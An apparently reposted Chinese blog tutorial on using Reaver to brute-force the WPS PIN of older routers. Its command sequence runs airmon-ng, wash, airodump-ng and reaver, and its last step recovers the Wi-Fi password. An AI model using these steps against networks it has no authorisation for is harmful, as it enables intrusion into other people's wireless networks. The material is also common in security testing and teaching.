Reaver无线破解工具——穷举PIN码破解简析

Reaver无线破解工具——穷举PIN码破解简析部分老版路由器有WPS或叫QSS功能,并且在默认开启状态时,可使用此工具。PIN码共为8位,按431分段,总共穷举有11000种组合。通过获取到PIN码,并记住Bssid和PIN,后期可以通过一条命令爆出无线密码。容易碰到的问题:连接超时,卡住,路由自保护等。reave的进度表文件保存在/usr/local/etc/reaver/MAC地址.wpc或/etc/reaver/MAC…

大家好,又见面了,我是你们的朋友全栈君。

部分老版路由器有WPS或叫QSS功能,并且在默认开启状态时,可使用此工具

PIN码共为8位,按4 3 1 分段,总共穷举有11000种组合。通过获取到PIN码,并记住Bssid和PIN,后期可以通过一条命令爆出无线密码。
容易碰到的问题:连接超时,卡住,路由自保护等。
reave的进度表文件保存在/usr/local/etc/reaver/MAC地址.wpc 或/etc/reaver/MAC地址.wpc

基本用法:
1、ifconfig                                  //查看网络配置信息,网卡的模式和名称:常见为wlan0
2、airmon-ng start wlan0          //开启监听模式,此时网卡名变为 wlan0mon
3、wash -i wlan0mon               //利用wash,查看开启WPS的无线路由器
4、airodump-ng wlan0mon      //查看周边AP信息
5、reaver -i wlan0mon -b <Bssid> -vv       //开始穷举PIN码

// -i:网卡名称;-b:Bssid即路由ID;-vv:显示更多的非严重警告
// -p:pin码;-S :使用最小的DH key,可提高破解速度;
//另外,也可以给命令增加2个参数,延长PIN穷举和反馈的响应时间避免路由当机。

-d 即delay每穷举一次的闲置时间预设为1秒;-t 即timeout每次穷举等待反馈的最长时间

6、[reaver -i wlan0mon -b <Bssid> -vv -p xxxx]  //从前4位PIN码开始
7、知道PIN码以后使用如下命令反算出wifi连接密码
reaver -i wlan0mon -b <Bssid> ‘s MAC -p PIN码

此方法受信号强度和WPS保护机置等影响,尝试过几次,均信号在-70左右,均连接超时。
参考链接:https://zhuanlan.zhihu.com/p/24803690

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/137877.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 使用python,openpyxl教你轻松搞定了excel大数据写入。大量数据导入无忧。

    使用python,openpyxl教你轻松搞定了excel大数据写入。大量数据导入无忧。

    2021年9月18日
    151
  • 使用Vagrant配置本地开发环境「建议收藏」

    使用Vagrant配置本地开发环境

    2022年2月8日
    33
  • 零基础学Java(4)字符串

    零基础学Java(4)字符串字符串从概念上讲,Java字符串就是Unicode字符序列。例如,字符串"Java\u2122"由5个Unicode字符J、a、v、a和™组成。Java没有内置的字符串类型,而是

    2022年7月29日
    3
  • synchronized偏向锁和轻量级锁_偏向锁/轻量级锁/重量级锁的原理

    synchronized偏向锁和轻量级锁_偏向锁/轻量级锁/重量级锁的原理今天简单了解了一下java轻量级锁和重量级锁以及偏向锁。看了看这篇文章觉得写的不错原文链接java 偏向锁、轻量级锁及重量级锁synchronized原理Java对象头与Monitorjava对象头是实现synchronized的锁对象的基础,synchronized使用的锁对象是存储在Java对象头里的。对象头包含两部分:Mark Word 和 Class Metadata Address其中Mark Word在默认情况下存储着对象的HashCode、分代年龄、锁标记位等以下是32位JVM的

    2022年8月9日
    7
  • jdbc java_jpa使用

    jdbc java_jpa使用SpringBoot集成jpa网上有很对jpa的介绍,但是都不是很全,这边根据公司的实际使用情况进行的总结。JPA、Hibernate、Springdatajpa之间的关系主要参考https://my.oschina.net/u/3080373/blog/1828589大家可以读一下这篇文章什么是JPA?全称JavaPersistenceAPI,可以通过注解或者XML描述【对象-关系表】之间的映射关系,并将实体对象持久化到数据库中。为我们提供了:1)ORM映射元数据:JPA支持XML

    2022年10月20日
    0
  • MySQL索引的创建与使用

    MySQL索引的创建与使用索引有很多,且按不同的分类方式,又有很多种分类。不同的数据库,对索引的支持情况也不尽相同。声明:本人主要简单示例MySQL中的单列索引、组合索引的创建与使用。索引的创建:建表时创建:CREATETABLE表名(字段名数据类型[完整性约束条件],……,[UNIQUE|FULLTEXT|SPATIAL]INDEX|KEY[索引名](字…

    2022年5月30日
    36

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号